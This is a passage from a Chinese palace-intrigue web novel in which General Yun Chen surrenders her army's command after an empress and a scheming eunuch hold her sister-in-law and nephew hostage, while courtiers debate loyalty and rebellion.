他想打趣说,她到底没能逃出他的手掌心,还是要与他见面。
转而又想,云琛三天后就要被五马分尸了,又一点都玩笑不出来了。
苏正阳急得上火,短短一个时辰而已,他嘴上起了两大火泡,却还是想不出任何可以脱困的法子。
他深深皱眉发愁,目光落在云琛仰头望月的侧脸上,却又情不自禁地随她舒展眉心,定定瞧着她如月恬静的模样。
她的下巴小巧又白净,脸盘清瘦却两颊饱满,就像春天的青草地上,那毛茸茸又可爱的小山坡。
她望着月亮,黑曜石一样漂亮的眼中,是比月光还要明净的颜色。
那眉眼之间,没有一点被冤枉的委屈,对将要赴死的恐惧。
她既不在意这朝堂人人鬼鬼的尔虞我诈,亦不去深究霍乾念与南璃君之间,到底孰是孰非。
她还是像从前一样,无条件地深深信任着霍乾念,心甘情愿与他同生共死。
在听到南璃君要单独召见她时,牢房里的荣易几人全炸锅了,两手抓着牢门“咣咣”直晃,震得房顶上的土都簌簌掉落。
霍乾念更是一改往日不苟言笑的样子,不顾形象地将身子挤进牢门栅栏间,极力将手伸向云琛,无比焦急担忧地喊了一声:
“琛儿!保你自己!”
众人好像都有种云琛要一去不回的不祥预感,仿佛南璃君是什么魔鬼,要对云琛先下手似的。
只有云琛神情自如,回眸望了快哭出来的霍乾念一眼,心头无事那样自在笑笑,又示意荣易几人安静,用玩笑的语气对所有人说:
“我去了昂,替咱们所有人求情去,等着我的好消息昂——”
这话听着跟诀别似的,荣易那厮直接毛了,一边用力晃牢门,几乎要将牢房弄塌,一边大吼:
“老大!你不能一个人去!你跑吧!抢了苏正阳的佩刀!直接一路杀出宫!离开京都!跑了就不要再回来!”
与云琛并肩而行的苏正阳:“……”
他心说真行啊,现场算计啊?真拿我这禁军统领不当回事是吧?
苏正阳气得瞪了荣易一眼,带着云琛往永安大殿而去。
苏正阳其实不能理解荣易的心情。
在他看来,南璃君确实资质平庸,善妒、任性、脾气大,如今还被那奸臣吴言官哄得黑白不分……各方面都不如先皇,但并不是什么暴君,有必要这么怕吗?
云琛此去,只是问话而已,不会有什么危险。
就算有,有他苏正阳在,怕什么!
不过还是戒备些吧,霍乾念与云琛实在功高盖主太过,南璃君明显有过杀心,一定要护住云琛,也切忌为苏家引火烧身……
苏正阳心头各种焦虑都有,一脸沉重地带着云琛进入大殿。
相比之下,云琛就显得轻松多了,倒像苏正阳是“死刑犯”似的。
云琛仍旧同往常一样,朝南璃君行礼,结果刚带着满身铁索哗啦啦跪下去,头还没来得及抬起,就听南璃君用哭腔叫了一声“武丞相……云将军!”
那语气过于悲痛夸张,听得云琛一愣,旁边的苏正阳一阵鸡皮疙瘩。
随后,南璃君开始与那姓吴的言官一唱一和。
南璃君的说辞,无外乎痛心疾首的那些:
“云将军,你是朕最信任的功臣,满朝文武,朕最看重你?你怎能如此背叛朕?”
“罢了,朕仍旧信你并无造反之意,此番只是被霍乾念连累了。”
“云将军,朕也想宽恕你们,可怎堵天下悠悠之口,怎么对西炎国交代呢?”
那吴言官则一脸奸臣当道的模样,说着:
“云琛,你与霍乾念过从亲密,怎可能不知道他造反的图谋?只怕你也难逃罪责!”
“你口口声声说效忠皇上,可这些年,你与霍乾念不停招兵买马,两军势力壮大到五十万有余,你们功盛回归,至今还未交还兵权,算什么忠诚?”
云琛还行着跪拜礼,有些疑惑地看着南璃君和吴言官的“激情表演”。
一旁的苏正阳瞧这出唱红脸唱白脸的样子,则咂摸出几分门道:
这是想要狮威军和虎威军兵权的意思?
原来单独来审云琛是这目的。
估计是那吴言官给南璃君出的主意,知道搞不定霍乾念,便想从云琛下手要兵权。这倒也不稀奇。
毕竟那可是五十万大军,是幽州决战之后,霍乾念和云琛一点点辛苦积累起来的,几乎是整个楠国现如今的所有青壮兵力。
现在事发时间尚短,霍乾念和云琛等人被判处死刑的消息还没有传到狮威军和虎威军。
一旦传出去,只怕后果不妙。
以狮威军和虎威军将士们对自家将军的忠诚度,那远胜于对南璃君的信赖和依靠,倘若知道霍乾念和云琛三天后要被处死,将士们会作何感想且不说,但凡有一个人挑头站出来,必然一呼百应、千应、万应……
到时恐怕会直接引发一场史无前例的军队暴动。
常理来说,自古调动兵权,兵符第一,主将第二,方能号令全军。
但在狮威虎威军这里,显然将军才是第一位。
此刻,霍乾念和云琛等人皆被下狱,就算南璃君费点时间和人力,从摄政王府到武丞相府,一寸寸搜找到兵符。
但没有霍乾念和云琛这主将现身为证,就算兵符在手,只怕两军将士们也无人会听命。
所以这交兵权,最稳妥的法子就是由云琛带着狮威、虎威两枚兵符,当着两军将士所有人的面,亲自交还给朝廷代表——
而这个代表,很可能就是苏正阳。
想到这里,苏正阳忍不住暗骂,一天天的,怎么净给他这些要命又招人恨的差事!
他瞪了吴言官一眼,有些埋怨地看向南璃君,却见后者不知说到了什么伤心处,竟以帕捂面,哭得有要晕倒的样子。
那吴言官对着南璃君好一番安慰,然后对宫人招手示意,一大一小两个身影随即被带上大殿,令云琛瞬间睁大了眼睛。
“姑姑!”
云莲城高兴地叫了一声,小鸟一样雀跃,想要扑去云琛怀里,却立马被身旁宫人死死拽住,小胳膊都被扭变了形,疼得他哭起来:
“姑姑救命!姑姑……娘,救我,我想找姑姑……”
云莲城哀求地对娘亲说。
他不能明白,为什么华氏也同他一样眼含泪花,同样被一个宫人死死掐住胳膊,动弹不得。
云望的妻子华氏,她脸色苍白,虽然极力维持着丞相夫人的端庄,但颤动的目光还是暴露了她的恐惧。
那吴言官不急不慢地走到华氏与云莲城中间,示意宫人退下,他亲自上手挽住二人胳膊,对云琛道:
“你既说,霍乾念与你们一干将领,都没有造反之心。可他在全天下人面前杀了西炎王,这是无可辩驳的事实。若想证明他没有逆反之心,就必须要在全天下人面前好好表一表忠心——交出你们狮威军和虎威军的兵权,就是最好的表忠心。”
吴言官说着,笑容变得颇为怪异:
“云琛,为了不影响你,你的嫂嫂和侄儿,就暂时托付宫中吧,等你交完兵权,再来接他们。只是,唉!这么小的孩子,这么大的皇宫,万一宫人疏忽没看住,叫你这小侄儿跑出去玩,跑到那高高的宫墙或天台上就不好了,万一摔下去,唉……”
假惺惺的语气,十足的威胁,吴言官说着抬手扣住了云莲城的后脖颈,疼得云莲城不停大叫挣扎。
云琛一下着急,猛直起身子,本能往前跪行了一步。
南璃君和吴言官同时被吓了一大跳,以为云琛要暴起,赶紧示意禁军们控制住云琛。
一旁的禁军们皱着眉头,看了脸色黑沉的苏正阳一眼,不情不愿地上前,用刀鞘压住云琛肩膀,令她重新跪好。
作为守卫皇宫和天子的禁军,他们第一次感到恶心。
瞧那姓吴的嘴脸,为了兵权,竟拿云望的妻儿来要挟云琛!
这等阴险小人的做派,换做任何有血性的男人都会感到难堪不齿,甚至说不出口,可那姓吴的却理直气壮,真不愧是个没根的阉货。
看着南璃君被这样的奸臣左右,禁军们心中无奈叹息。
似乎也怕做得太过火,惹毛云琛这个向来不怕死的,南璃君接过吴言官的话,泪眼楚楚对云琛道:
“云将军,朕可以答应你,只要你交出兵权,朕可以收回处刑的命令,免去你们所有人的死罪,只贬官罚银,你们的家人也都可以免遭株连之祸。还有,朕曾经对你,对霍乾念的赐婚也仍然作数,许你们完婚!”
这话说完,云琛明显有燃起希望的样子。
正如苏正阳所说的那样,她也好,荣易和段捷也罢,都是不怕死的铁骨。
可家人是软肋,怎舍得连累他们。
云琛不忍地蹙着眉头,用心疼的眼神看看华氏和云莲城,然后继续疑惑、带点茫然地看着南璃君。
一旁,苏正阳见此,还以为云琛这纯白的傻性子,到现在还没反应过来,眼前的一切威逼利诱,就是想要她和霍乾念手里的兵权。
他正想着该怎么提醒下云琛,却见她朝南璃君深深叩首。
再抬起头时,云琛的眼神清明,朝着南璃君与那皇座,说出了一番震惊所有人的话:
“兵是楠国兵,将是楠国将,王是楠国王。皇上,这楠国的一切都属于您,自然也包括狮威军和虎威军,包括我的嫂嫂和侄儿。您不必以您子民的性命,来要求那些本就属于您的权力。”
说着,云琛又对吴言官磕了个头:
“烦请大人照顾好我的嫂嫂和侄儿,容我去取兵符,赶往两军驻扎地安排好交还兵权的事,最多三个时辰,我会回来接我的家人。”
说罢,也不管全场所有人如何发愣,她起身走向苏正阳,抬起双手上沉重的镣铐。
苏正阳直直看着她,好一会儿才反应过来,甚至都忘了先请示南璃君,直接为云琛解开了所有镣铐。
云琛随即转身离去,连头都没有回一下。
永安大殿一时鸦雀无声,南璃君,吴言官,苏正阳,还有那许多守卫的禁军......
所有人的目光都随着云琛的背影远去,恰见黑压压的宫墙之上,一抹金色晨曦冲破黑夜,照耀的天空高阔,浓云镀金。
苏正阳轻轻蜷起掌心,用力握紧手里从云琛身上解下的铁索,试图缓解浑身一阵阵的激麻,让心神稳一稳,可目光还是不由自主地望着云琛身影消失的方向。
再看周围众人也都和他一样,震在原地,久久难以回神。
云琛方才那短短几句话,简单,纯粹,每一个字都昭示着她的胸怀和忠心。
她站在那比皇位还要高的位置,用最宽容温柔的目光,俯视着世间。
亦如振聋发聩的惊雷,令所有人从纸醉金迷的权欲中惊醒:
啊......原来人是可以这样无私又忠贞的,手握大权的每一天,都依然牢牢记得,当初官袍加身时,对着楠国九龙官旗许下的誓言:
臣自今日起,必忠心侍君,捍卫王权,鞍马护江山,执剑保太平……
第450章 上等犬
鞍马护江山,执剑保太平。
这是文武百官每个人穿上官服那天,正式成为朝廷一员时,都要经历的宣誓。
只是,所有人都早已将这微不足道的仪式忘记了,连带着忘了那热血的誓言。
直到云琛那番话,才令众人幡然醒悟,想起做官为民、为国、为君的初衷,也用所有人无法企及的高度,衬托的的南璃君愈发像个庸俗的肉体凡胎:
这样明明白白的忠臣你看不见,偏要轻信那姓吴的话!
可惜,实在可惜!
不过从南璃君的表情来看,她显然根本没能理解云琛话里的意思,也未察觉在场所有人的心情。
她只是嘴角挂着喜滋滋的微笑,为即将拿到五十万兵权而欣喜。
她提着华丽的裙摆,高兴地小跑到龙椅背后的小殿。
颜十九一直待在那里,正坐在龙椅背后的太师椅上,静静听着方才发生的一切。
云琛那几句话,显然也震撼到他了。
他尽力在南璃君面前装作淡然的样子,可异样黑亮的眸子还是出卖了他内心的喜悦:
云琛,不愧是他的女人。
只有这样的女人,这样的慈悲和胸怀,待他一统天下之后,才配得上他未来盛大王国的国母之位。
他控制住内心的情绪,再去看南璃君那绝世美丽的面庞,只觉得平凡又丑陋。
南璃君自然不知颜十九内心感受,高兴地扑进颜十九的怀里,搂住他的脖子,讨赏似的问:
“怎么样,我厉害不?云琛去拿兵符,要交兵权了!”
颜十九自然奉上百般赞美,搂紧南璃君的腰,如她所愿地奉上一个又深又绵长的吻,堵住了她企图喋喋不休的嘴。
外间大殿里,众人虽看不见小殿里的情景,但都听见了里面越来越粗重的不可描述的呼吸声,皆面色尴尬。
南璃君喜爱白日宣淫,也就罢了,众人都习惯了,时不时就要突然退下。
但眼下这可是永安殿,是国宴、上朝、处理重大国务的最高大殿。
南璃君这做派,说好听点是任性,说难听点,一丁点君王的品德与做派都没有。
苏正阳皱着眉头,打手势示意禁军们都退下,去关好门,守卫在殿外。
他自己则走到华氏身边,牵起云莲城,示意两人跟自己走。
谁知吴言官却拦过来,笑道:
“华氏母子还是由本官带走吧,这是皇上同意过的。”
苏正阳犹豫了一下,慢慢放开手,话是冲着华氏和云莲城说的,但语气里的威胁,明显是对吴言官:
“夫人与小公子但去无妨,云琛一定会回来接你们回家。倘若这几个时辰中,有人敢欺辱你们,给你们委屈受,你们可以就近找任何一个宫门口、宫道上的禁军,就说找我苏正阳,我必为你们申冤,绝不对恶人手下留情!”
“多谢苏统领。”华氏感激地行礼。
吴言官则像没听见苏正阳话里的指桑骂槐,随意笑笑,拉着云莲城往内殿方向而去。
经过龙椅后那小殿的时候,吴言官轻抬双手,捂住了云莲城的耳朵,隔绝掉了那不堪入耳的声音。
瞧着吴言官与方才凶狠派若两人的样子,云莲城仰起小脸,眨巴着天真的大眼睛,脆生生道:
“你是好人。”
吴言官微微一笑,摸了摸云莲城的头,没有说话,华氏则赶紧行礼道歉:
“犬子家教不言,让公公……啊不,请怀安大人恕罪。”
……
……
另一边,听到外间大殿所有人退下,殿门关起来之后,南璃君越发放肆。
她几次三番想去解颜十九的衣服,都被他轻轻挡开了。
好在她这会即将拿到兵权的兴奋劲还没过,并不太在意这些。
她停下亲吻,靠坐在颜十九怀里,抱着他的肩背,喜滋滋道:
“这次可真顺利呀,唯独两件事美中不足,一是你当初说要选个人出来当‘大奸臣’,我本来想选云望的,用他妻子儿子的性命来要挟,逼他去弹劾霍乾念和云琛,姐弟反目多有趣呀......
可惜,那个最会煮梅子汤的小太监吴怀安突然跳出来,说他愿意为我效劳,演那个大奸臣。好吧,手边合适的人不多,那就只能提拔他了。
作为我宫里的太监,他也算是从小跟在我身边的,倒也令众人信服,再加上他演起‘大奸臣’有模有样的,挺不错。”
颜十九显然对吴怀安这个无足轻重又必死无疑的角色不感兴趣,明知故问地笑道:
“那第二件‘美中不足’的事情是什么呢?让我猜猜,是为没能将云琛嫁给西炎王吧?”
“猜对啦!”南璃君捧住颜十九的脸,吧唧亲了一口,然后伸出修长白皙的食指,轻轻点着下巴,琢磨道:
“那该把云琛‘安放’在哪里合适呢?”
“我有个主意。”颜十九笑得颇为风流,贴近南璃君耳边说了一句话。
南璃君瞪大眼睛,猛地从他怀里站起来,激动道:
“不行!不可以!!”
她这反应显然在颜十九意料之中,他先是好言好语地劝道:
“你不是讨厌云琛,总想折辱她吗?那这便是最好的折辱法子。”
见南璃君不答应,反而愈发生气,将手边所有灯盏和茶杯都推翻在地,一遍遍大吼着“我不许!说什么也不许!你有一千一万个理由我也不会答应!”颜十九慢慢收敛脸上所有笑意,冷冷看着南璃君。
南璃君极少见到颜十九这种样子,知道他这是真生气了。
她眼珠子滴溜溜一转,立刻停下火气,转变态度,改为蹲在颜十九身前,抱住他的腿,仰望着他俊美又冰冷的脸庞,央求道:
“你换个法子好不好?这我不能答应!”
颜十九站起身,直接将南璃君掀翻在地,从眼睛下方冷冷看着她,皱眉道:
“这是既能休辱霍乾念,又能牢牢看住云琛,还令他们反抗不得、无法作梗的最好法子,也是我们稳固皇位的关键一步。你怎么这般不懂事?真是太让我失望了!”
说罢,颜十九拂袖而去,只留南璃君跌坐在宫地上,一脸受伤又犯错的表情。
出了永安大殿,颜十九面上的冷冰立刻消融。
他扫了眼不远处等候已久的韩表,微微皱眉,眼神似乎在说:
“你怎么还没走?还不赶紧回西炎争王位去?”
韩表却抱着胳膊不紧不慢地走过来,看起来一点也不着急的样子,笑道:
“你们楠国这出戏太精彩了,我实在舍不得走,忍不住多看会儿。”
颜十九用眼神示意了下旁边三步距离的地方,苏正阳正与禁军们在殿门口守卫,意思是叫韩表说话注意些。
韩表全然不在意,下巴朝云琛方才离去的方向努了努,继续用熟稔的语气对颜十九说:
“你说,她还会回来吗?”
颜十九没有说话。
倒是苏正阳挑了挑眉头,反问:
“为什么不会?”
韩表笑说:“她手握五十万精兵强将,随便踏平哪里都可以。与其乖乖交出兵权任人宰割,不如搅个翻天覆地,自己做主。反正要我,我肯定不回来。最少也先跑了再说,管他什么亲人朋友,保住自己小命最要紧。”
苏正阳用鄙夷的眼神上下打量韩表,嫌弃之情溢于言表,仿佛在说:
你那一脸菊花笑,是刚死了爹的人该有的表情?而且你算什么东西?也配和云琛相提并论?揣测她高洁的心意?
但毕竟韩表是西炎皇子,苏正阳不好明呛,只能冷冷道:
“这天下谁都会跑,会反,但云琛一定不会。”
“为什么?”韩表又问。
苏正阳明显被问烦了,懒得再说。
颜十九这时开口了,语气佻达却别有意味:
“你们养过狗吗?所谓‘犬性’,游移不忠为下等劣犬。给点好处摇尾巴,没了好处转身即走,趋利者为中等庸犬,也是大多数狗的常性。
那何为上等忠犬呢?便是打不走、骂不走、共富贵、不嫌贫,即使被冤枉、被误解,即使主子是性格恶劣的一摊烂泥,也依然不离不弃,忠烈护主到底,此为世间最罕见的忠犬——
云琛,就是这样的‘犬’。”
韩表连连点头表示赞同,自言自语玩笑着什么“说得对,是够烈的,打人的劲儿可大了”。
而一旁的苏正阳则脸色十分难看。
颜十九的话听起来是给予了云琛高度赞扬,可怎么就非要把云琛比作“狗”呢?
好像在颜十九的眼中,云琛不像个坚强美丽又独立的女子,更像个让人喜爱想要占有的宠物?
这感觉令苏正阳十分不爽,张口想回怼,反正对颜十九,他一向都是敬而远之,没什么交情。
正要开口时,苏正阳却想起一件事:前几日他大婚的时候,并没有邀请颜十九,可颜十九却派人送去了贺礼,令苏正阳颇感意外。
那是一座框子上嵌满各色宝石、极其明亮又华美的大镜子,将人照得极清楚。
苏正阳不太明白这送镜子是个什么寓意,但成婚贺礼没有退还的道理,只好放在屋子里,让自己夫人上妆时照用。
这事,苏正阳至今还没谢过颜十九。
俗话说吃人嘴软,拿人手短,苏正阳不好说话难听,半天才拉着脸,闷出一句:
“云琛是人!不是狗!”
第451章 万般皆是命
离开皇宫,云琛马不停蹄奔向武丞相府。
她身上还穿着夜宴时的官服,上面有七八处破口,透过丝线崩断,隐约可以看见浅伤血迹。
去时光鲜齐整,回来时却发丝凌乱身上带伤。
府上众人都被云琛的样子吓坏了,全都围上来惊问,拿水盆的,拿伤药的,在兰倩的焦急指挥下,一下子忙活起来。
云琛却顾不得解释和停留,只安慰地拍拍兰倩的肩膀,然后一头扎进寝屋,翻找出那枚几乎从没用过的虎形兵符。
她将兵符攥在手里,就又匆匆往外走,兰倩和府上众人追着她:
“大小姐,等一下,天大的事也得疗过伤再走,有什么比您身子还重要?大小姐——”
云琛充耳不闻,翻身跨上吞云兽,就要纵马出门。
跑出去两步,她又急急勒马掉头回来,将兰倩和府上管家拉到一旁,小声快速嘱咐二人:
“听着,现在立刻召集全府上下所有人,护卫、仆从、伙夫、马夫……全部人都召集起来,开库房给每个人发银子,把所有人的身契都还给本人,然后以最快的速度离开这里咳咳……”
因为跑得太急,云琛说话的时候有些喘,忍不住咳嗽几声。
兰倩和总管震惊得嘴巴大张,愣了好一会儿才反应过来:
“什么意思?这是要遣散府上所有人?为什么?出什么事了?”
云琛没时间解释,她既担心云莲城和华氏被扣押在宫中当人质,性命堪忧;
亦担心迟则生变,若交付兵权太晚,南璃君又会改变主意,不赦免霍乾念了。荣易、段捷他们及其族人,也都将错过这唯一的活命机会。
况且事情太复杂,云琛也不知该从何说起。
她唯一的念头就是趁现在事情才刚发起来,南璃君还没有下令株连整个武丞相府的时候,尽全力保全府上所有人的性命。
等交完兵权,无论杀也好,罚也罢,至少不会连累他们。
兰倩和管家猜不到也想象不到究竟发生了什么事,只能从云琛身上的伤痕、那焦急万分却强装镇定的样子,感觉到大大不妙,也立刻就懂了云琛的心意。
兰倩咽下一大堆问题,红着眼睛重重点头,哽咽道:
“大小姐你放心,我一定办到!”
这份善解人意令云琛感到些许宽慰,她对兰倩笑笑,抹去兰倩眼角的泪水:
“不哭,也叫府上人都别怕。本来以为咱们一大家子能在一起养老呢,现在看来不行了,那就按人人活到一百岁来算,把剩下几十年的工钱,全部以五倍之数发了。”
说着,云琛快速捏了捏兰倩的小脸,故意做出轻松玩笑的语气说:
“我床底下有两个大箱子,还没来得及搬到库房,里面是给你置办的嫁妆,本来想将来给你个惊喜的,现在给了吧。”
说完,不顾兰倩已滚滚落泪哭出了声,云琛再次上马离去,眨眼身影消失在府门口。
云琛相信,懂事如兰倩,一定会快速安排好府上所有人。
没了这后顾之忧,云琛将吞云兽驾地飞起,一路直奔摄政王府。
当年这里还是霍府时,她还只是个小小亲卫。
如今,霍府成了摄政王府,她这亲卫成了武丞相。
却不想越灿烂的花朵,总是越接近死亡。
她冲进府门,陆良迎上来牵马。
看到她的样子,陆良表情惊讶,但开口问的第一句却不是“出什么事了?您怎么受伤了?”而是:
“您要干什么?”
“找兵符!”云琛撂下一句话,一头扎进栖云居翻找。
对于这地方,她远比对自己府邸熟悉,很快就从霍乾念的书房,自他常年习惯放置机密东西的暗格,翻出那枚狮形兵符。
两枚兵符在手,接着就是通知苏正阳,赶紧去狮威军和虎威军的营地交接兵权。
云琛心里紧锣密鼓地盘算来回时间,估计差不多两个时辰就够,她就能再进宫,去接云莲城和朱氏了。
她健步如飞急急往外走,却在将出栖云居的时候,被陆良用身子拦住。
他站在门前,两臂张开作阻拦状,皱眉问:
“您要干什么?”
云琛以为陆良新任大亲卫,不熟悉她和霍乾念的事,说句“阿念放兵符的位置一直都有告诉我,放心,我是拿去办正事。”
可转而又想到,陆良虽然是新官上任,但从前是霍帮飞府衔试的第一名,早在霍帮待了许多年,咋可能不知道她和霍乾念的关系。
她不禁奇怪:
“陆良,你拦我干什么?”
陆良看了眼她手里紧攥的两枚兵符,语气坚定:
“请您说清楚,您拿这兵符要干什么,我才能放您走!”
云琛本来还急得满头是汗,这下差点被气笑了,甚至觉得陆良这慎之又慎的样子还挺像叶峮。
她稳了稳情绪,简单解释道:
“宫中有大变故,阿念杀了西炎王,皇上以造反罪名扣押了我们所有人,要我交出狮威军和虎威军的兵权,才能平息所有。”
以为自己已经解释得很简洁明了了,云琛说完就要继续往外走。
可陆良却还是牢牢挡在门口,问出了一句非常出乎云琛意料的话:
“那您为什么不反呢?”
云琛睁大眼睛,瞪着陆良,后者神情坚定地又说:
“现在您手握五十万大军,全楠国境内没有任何力量可以与您抗衡。您为何要乖乖听命交出兵权,就不怕一步退,步步退?皇上又反悔,还要处置你们?未来还有无数‘逼迫’和‘阴谋’等着你们?您为何不直接拥兵而反,换一个再无后顾之忧的永远太平!”
云琛后退一步,用一种看陌生人的目光看了陆良一会儿,皱眉道:
“你在说什么疯话?”
“我没有疯。”陆良紧盯云琛的眼睛,“您有没有想过,如果此时此刻换成少主在这,他不会选择将兵权交出去,而是直接带狮威虎威大军杀进皇宫?也许少主心里想反呢?”
陆良本以为,话说到这份上,云琛会停下来好好想一想了。
然而云琛却只是无比坚定,信任,没有一丝犹豫地说道:
“阿念不会。”
顿了顿,她接着说:“就算阿念真有心要反,也一定会告诉我,让我第一个知道。”
说完,再不管陆良如何想阻拦和说话,云琛推开他,翻身上马。
可陆良还不肯放弃,追出栖云居,仍发出阵阵质问:
“皇上已如此待您和少主!您为何还要忠心耿耿?人说‘父不慈子奔他乡,君不正臣投他国’!您现在对皇上的忠心只是愚忠!”
云琛本不想与陆良过多纠缠解释,可紧接着,陆良一句“您也是‘奔过他乡’的人!是晓得愤怒与反抗的!为何如今却不了?到底要什么地步您才肯放弃这愚忠?”又将云琛的脚步拖住。
她缓缓勒停马,望向高远的天空,云彩最绚烂的方向,恰是幽州。
“是。我少时曾以为‘父亲不慈’,而决然‘奔他乡’,我自然晓得愤怒与反抗。可后来,时间与现实告诉我,有时候,‘你以为’的不一定是真相。”
云琛勒马回身,直直看进陆良的眼睛:
“皇上忌惮也好,利用,欺骗,辜负也罢。且不论她本意如此,还是为人左右,被什么我不晓得的阴谋裹挟。就算她发自内心厌我,杀我,又如何呢?她又不是厌恶整个天下所有百姓。我晓得皇上并非高世之主,在你们眼中,她平庸,善妒,自私又时而昏懦,缺点诸多……
可就是这样的她,在洛疆与黑鳞骑兵来犯时,也没有弯折过一次腰,态度坚定地寸土不让,屡败屡战。她能守住她的皇座不叫天下大乱,守住她的江山和百姓,就够了。”
陆良目瞪口呆,云琛恐怕是这世上唯一能说出南璃君优点的人。
他嘴巴动了动,想要辩解,竟突然不知道说什么才好。
云琛又道:
“若人人为己,将‘忠心’当作要挟君王的筹码,今日你可以不满新政想造反,明日他可以看不惯某条处政结果而反,后日谁谁为触犯家族利益心生怨怼,再后日,就连看不惯皇上衣裳打扮都可以拿出来作为理由……
若如此以神明的标杆要求皇上,稍有不满就造反,天下焉有安定时?纵观古今,再贤能的明君,也有缺点,不是吗?在我看来,皇帝只要宽和待民,不屠戮,不暴政,这楠国太平,百姓安居乐业,就永远不会触及我的底线。”
说完这些,云琛再次转身。
见陆良直挺挺地杵在原地,眉头紧皱,一脸困惑不解,像是完全不能明白她方才说的话,云琛轻轻叹口气,用最率直的大白话,一字一句道:
“陆良,‘愤怒与反抗’都是可以的。但要看,这‘反’是为天下生民立命、为万世开太平,还是只为觊觎皇座的一己权欲?这两者是有天壤之别的。人人道我云琛忠君,殊不知这天下本姓‘民’,我忠的是那安稳皇座之后,千千万万渴望太平安定的无辜性命。懂了吗?”
说罢,再不管陆良听没听懂,云琛将两枚兵符紧紧揣进怀中,风驰电掣往皇宫而去。
她的动作凌厉如常,那执着之气近乎决绝。
在她身后,陆良早已被这番话震惊得浑身发麻。
只要南璃君不暴政,不屠戮百姓,无论她多低劣多恶心,云琛都能接受?
就算有天她要造反,也必须是为百姓,而不是为一己权欲?
如今难得战争平息,四海皆安,百姓们渴望什么,她云琛就守护什么。
和平,永远是和平。
陆良反复深呼吸,他惊讶于云琛自有的这套无懈可击的逻辑,惊她竟能一直站在所有人头顶之上,用最宏大的视野,最诚挚的慈悲心去俯瞰众生。
同样,他也感到无比沮丧。
他知道,云琛走的这条与霍乾念截然相反的路,也许注定他们将……
陆良垂着肩膀,沉默地在原地站了很久很久。
“唯一的机会,唯一的啊……不要错过,该多好……”
与陆良同样情绪的,还有不远处,那枝叶茂盛的榕树上——
两道瘦削的身影一直静静隐藏在那里,没有让摄政王府的任何一个人察觉。
不言望着云琛逐渐远去的背影,心头同样复杂至极。
做兄弟那么多年,他太了解云琛,不用脑子就能猜到她的决定。
可还是为她那真挚言辞——为那颗世上绝无仅有的七窍玲珑心而动容。
有那么一瞬间,他竟和陆良一样,希望从云琛口中听到一句:
“他妈的,不管了!老子要反!”
他不明白自己为什么会有这种念头。
也许是因为,他虽承诺要保护南璃君,可心底永远觉得云琛更重要。
也许,是因为太了解霍乾念,深知他曾经忠心侍奉了十几年的少主,是怎样一个深藏若虚、诡谲如深海的性子,绝不会如此轻易落败。
只可惜,这份臆想永远不可能发生。
“背叛”二字,从来都不在云琛的人生。
要她不顾天牢里霍乾念、段捷他们的性命,不顾云望妻儿安危,带着大军冲进皇宫,在京都城百姓们的眼皮子底下起战,将手里刀剑对准禁军们,屠杀着自己的同胞,冲进金銮殿将南璃君从皇位上拉下来……
只要是了解云琛的人,就会知道,这是天崩地裂也绝不可能发生的事。
“所以说,此时,此刻,此人,一切都早已被注定。兵权一定会交,也一定只有云琛,才能交。”
枭泽站在不言身边,这样轻声感慨到。
看出不言矛盾挣扎的情绪,枭泽用玩笑的语气道:
“要不,咱俩也别旁观了。一起加入这即将到来的乱斗?哈哈……”
不言摇了摇头。
枭泽叹口气,思绪回到了多年前那个夜里,他将云琛从霍府挟持到皇宫的那一晚。
“以前,先皇曾问过云琛,如果江鸣要杀皇帝,她当如何?如果让她去杀江鸣,她又当如何。她给出了这世上最漂亮的答案。眼下看来,哪怕已过去那么多年,这答案都从来没变过,把江鸣换成谁,都一样。”
“猜疑者不会放弃,阴谋者与野心家不会退下,云琛也永远只会是云琛。你我只能做个旁观者,努力在最后一刻来临时,为皇上做最后的守护。唉,万般皆是命,半点不由人呐......
第452章 守身如玉
那边,云琛驾马狂奔不停,以最快的速度赶往狮威军和虎威军的营地,在全军将士错愕茫然的注视下,亲自将兵权交给苏正阳。
这边,凤驭天殿中,南璃君可怜兮兮地看着颜十九,还在期望他能回心转意。
她有点崩溃地哭道:
“我不能答应,真的不能......”
颜十九抬手抚平眉头厌烦的浅蹙,快速将一颗小小的药丸吞进口中,然后转换成一副无奈又宠溺的样子,走过去揽住南璃君的腰肢。
他一边开始细细又轻柔地吻她,将呼吸轻轻吐在她耳后,惹得她身子酥麻,情绪也跟着松懈,一边声音幽幽地对她说:
“你不是特别讨厌云琛吗?讨厌她,那便害她,折辱她。将她嫁给我,叫天下人都笑话她嫁不了高门,只能被随意赐给你的男宠,岂不快哉?”
南璃君身子柔弱无骨般倒在颜十九怀里,许久没有感受过他主动又热烈的温存了,她沉醉其中无法自拔,但还是用最后一些理智摇头拒绝,喘息道:
“不行!我不许!只要一想到云琛嫁给你,光是想想她要与你穿婚服、喝交杯酒,和你同床共枕!我就气得发疯!我不许!我讨厌她!”
关于讨厌云琛这件事,其实就连南璃君自己都不明白为什么。
大概是讨厌云琛的女扮男装,从做护卫开始就风头无两,女儿身份揭开后,更被世人称作“这天下最英勇忠直的奇女子”。
人人都称赞云琛有先皇后娘娘的遗风,倒比她南璃君更像皇后娘娘的亲女儿似的,真是可笑。
也讨厌有那么多人死心塌地追随云琛,敬她,爱她,闹些生死之交的戏码。
讨厌她“云老虎勇冠三军”的名头,还讨厌她那什么开在京都城的“凌云武馆”。
怎么,是要鼓动的天下女子都像她一样肆意妄为吗?
还“凌云”?意思是承认并期望所有女子都比她厉害?也连带着骑在楠国女皇的头上?哼,沽名钓誉之辈!
关于云琛的桩桩件件,南璃君都越来越嫉妒,讨厌,几乎快要忍耐到极点。
直到昨夜亲眼看着云琛下狱,南璃君才觉得畅快多了。
但令南璃君万万没想到的是,今晨云琛离宫去找兵符之后,当她发愁该将云琛“安放”在哪里时,颜十九竟对着她的耳朵说:
“不如,将云琛赐给我。”
颜十九说,这是既能最大程度上羞辱霍乾念,又能牢牢挟持云琛,令其党羽反抗不得、无法作梗的最好法子。
如果南璃君执意拒绝,只怕颜十九会像今晨一样,直接斥责她不懂事,扔下她离开。
南璃君不敢惹颜十九生气,可又实在做不到将最心爱的男人与其他人分享。
她左右为难,下不了决心,身子又被招惹得愈发瘫软,仿佛一块任由颜十九把玩揉捏的面团,压根不听自己使唤。
她神思彻底混沌,正要抛开这些烦恼,全身心投入这场她期待已久的激情时,颜十九却突然捉住她的手,缓缓下移。
当触碰到那不该软绵绵、毫无反应的地方时,南璃君整个人愣住了。
她呆呆地看向颜十九,后者神情无奈,羞愧又自责地对她说:
